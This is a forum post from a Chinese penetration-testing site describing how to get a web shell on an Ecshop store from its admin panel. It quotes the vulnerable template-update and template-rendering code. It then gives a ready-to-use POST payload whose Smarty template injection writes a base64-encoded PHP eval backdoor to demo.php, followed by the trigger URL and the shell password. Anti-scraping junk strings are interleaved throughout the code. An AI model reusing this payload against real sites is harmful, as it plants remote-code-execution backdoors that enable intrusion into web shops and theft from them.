中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 M+ ]( o) w/ P7 z- T4 a* S7 O3 D, ~9 b- e9 i, r1 P2 N
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了# M, Z0 h$ A; f. e# e7 y0 e
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码. i& N- |' I1 V$ R2 @
admin/template.php
* x( S4 [8 c, I4 X3 G# b) ?6 V0 L/ Z; Z, t6 G
1 if ($_REQUEST['act'] == 'update_library')
2 Z. `' u7 E% P. |" Z1 Y) ]8 k! b' D# F" h. k, W; y
2   & A" E$ B3 n" E4 E
  B1 c& A" _; [" h2 r' e9 K
3 { % M$ Y# x6 R' W0 M
. S' j" b% @0 i
4     check_authz_json('library_manage'); . p% v% G8 f; V
! l% n& f) h) I6 O0 N7 |
5   
; L. J# f9 Q9 X' H& I+ c( I: d' L' F) Q4 d
6     $html = stripslashes(json_str_iconv($_POST['html'])); $ j7 ]* r' A9 R. L0 B* W4 n

) Q) |0 `1 q' Z3 S0 Z" U& K7   , L7 h, E# K  D) V
) @' P$ P  t$ T' W6 R$ M/ \. ^
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 o9 R# ?# H! x' U
5 E# r8 \) p7 b# H* d$ _) ?% V1 B
9   
: m+ I3 t: }; e1 l
  b3 @* C' r# i- K10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : O, q) q- v& F

* x/ |: d( |7 Y8 D6 V" a2 u11   
, q* e' t1 z( }2 E0 i$ x
6 ?/ B- W: h& I3 f12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
4 T6 `2 ?4 A. F
& T; h7 u/ Y! K* T+ t13   
/ ?! y5 L+ p8 u
8 W, H) B0 M, O' d# _. E2 P14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 $ U) y8 y& ^; r! d  @' \4 q) @8 B( L
0 H9 f  J% r( `  g% n1 ^, s
15     {
( _% v$ a" ]6 J  q( u- |; w0 ^$ U
8 ]! w, V$ X5 o9 t: J/ B16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); $ \9 b# `6 d0 K# i, S: c& ^( g, ?
4 S$ I  ?; d" C! s% D. c. V
17         make_json_result('', $_LANG['update_lib_success']); + X- X3 J4 Z: Y( ?& k8 x- S

+ F+ {) ^* p5 ^: X5 J" A( {" I18     }
) {( X6 h1 t% k9 L# ?) T; L- j6 f1 z9 ?. F6 @; d7 C
19     else
1 ^  ]$ J$ J0 P# n# r: b8 R* f6 c& k" Q
20     {
: s' C0 v8 z& Z2 k
8 h7 l8 k+ B6 U21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " G+ |/ p& f2 i
+ u$ V/ n# ]5 o' q5 |
22     }
5 d" W2 b# x2 e9 `- z  c  D+ {
% F0 a1 L8 p1 M" ~0 s& }+ m23 } . X; `- g8 `5 T, ]2 i
5 U6 \/ t, P- _3 W) x( e
那么找个比较方便调用了模板的文件
2 K. n* t5 L9 d, z8 Rindex.php
9 R6 B; S5 Y: G
8 A8 W" r; a5 L% Z2 v1 if ($act == 'cat_rec')
: d* ^5 c9 O/ p$ f1 p
4 s9 X" a0 `# Z: V2   
4 {+ n9 a! Q  |6 U. d5 ?4 V/ [+ z5 I. f8 u9 F! u
3 { 4 l2 F0 b! o3 l5 A8 i* r$ e' D. \

7 Z9 s6 e- w3 p" h* r$ t+ P  h& R( `0 l4   
7 E* R0 g7 z* M' |) ]
1 F$ I( e4 ]/ d! U& e( T' i) ?5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 4 o+ R! e$ m, {+ a; m' h7 l
8 Y& @; D4 J9 c- e4 J
6   ' z! Q% p3 J" M7 |$ L

8 k3 u  k' }8 R4 P' y' I/ i* D5 d. q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
! E- j7 D- R+ j
& V# K2 z* S7 W  K) ~7 ?: M8   , r, g% C2 k  a% e# z: @% O
0 ^9 _' J: j" K+ m6 e
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 4 `. `& G4 ~0 w2 U; q. A. S5 _8 }, E
, s1 `  J+ ^4 Z% ]9 C6 D7 d  c9 g
10   ; q3 e; T0 @+ J* W, T
4 ~" J/ B* u& m4 f/ g; v6 c
11     include_once('includes/cls_json.php'); & J# H: H0 R( f6 J& Q! k% C
9 _) D( P/ ]4 q  T
12     ?% ?! C# i& U) l& N0 n7 e
( L7 [7 F( m' u! s9 W% f9 g* N
13     $json = new JSON; 9 s7 F4 T+ B4 H& f% A8 ~
- S/ P- n4 h7 i. b1 {. m
14   
$ _- }: v: ~! w5 ~* P
& t2 p' ^/ L+ j1 h7 x15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
9 s, B8 L2 U8 o, X% F6 H6 t9 |; `1 p7 ^. t7 @- l4 V7 \
16   
' \' }8 r  I) @
( A1 x" H: F; ]2 a+ A17     $children = get_children($cat_id); 9 \9 N. m3 z( S4 v
, i) |; u+ T- K" O0 w% ?7 G
18   4 K$ t( z7 _- b$ Z; b1 r

! S7 p: O1 s- J$ I! F( j19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 " F- L& w+ u7 r
' ?/ F# }; n" y+ l& P/ S, A7 Z
20     [+ P) j( o' J; t" R) x9 U! D

3 @2 q' _% l1 j$ _5 G21     $smarty->assign('cat_rec_sign', 1); 7 K& J/ E6 L- v+ K& ^

6 X. ~: b9 h1 o8 G7 ]22   5 ~5 _. o, U  f/ l# ?

& M4 U* D0 K5 H' n2 U23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ) K" s: t9 D; v* [! T  x( G* N

9 Y1 k. @; V# G# S% S- p24   : a( K+ n3 N. Z, D

5 K: N  Z- C0 T( u9 h; h& V: {, d25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ; l: D5 t  p  K6 F1 y
6 z+ `/ I, X2 d5 w% ?( m: O
26   
" }! Q3 @- |3 B. y8 \
% m: B3 Q, y# S0 n2 N27         echo $rec_array[$rec_type]; 0 \: G5 b, \0 q
0 L3 e% w* S4 a
28   4 D/ E; i& ^) @0 |- s/ q# g
) j; Z& P. D6 t( \
29     die($json->encode($result));
" c0 P( v+ d9 |3 S6 y5 G$ K% _& P( S1 k9 B6 V- X0 w
30   
8 u' ?* ]8 Q" t& }3 F3 O7 x# s5 a' ~# J1 p, P7 c  j' v+ B/ e
31 } & V5 k8 Z7 T7 R2 _' v! e

/ `( B- b- {9 P* o- b, c那么就有利用方法了4 |. I6 P5 t& M3 z2 P; A
post包到http://localhost/ec/admin/template.php?act=update_library5 C' J: v, G& ^2 m3 v% F
Post内容:
( k9 q+ p  D# _, _
0 P$ \! j$ R* F0 t" B2 w- C8 n0 g5 t' _  L, Z6 D4 R
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
1 ]" {( f' g8 T$ m
8 B. s. N: `( M4 @然后访问http://localhost/ec/index.php?act=cat_rec
: {8 Z0 v. }* A8 R# a! R6 G( ?1 }" n2 R# F6 q2 x. G- ]
shel地址:http://localhost/ec/demo.php
1 |, f! a  W9 l密码c
. Y  ]. B) ]+ E. p3 i9 A
4 H2 L* e4 O0 b" V. Z




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2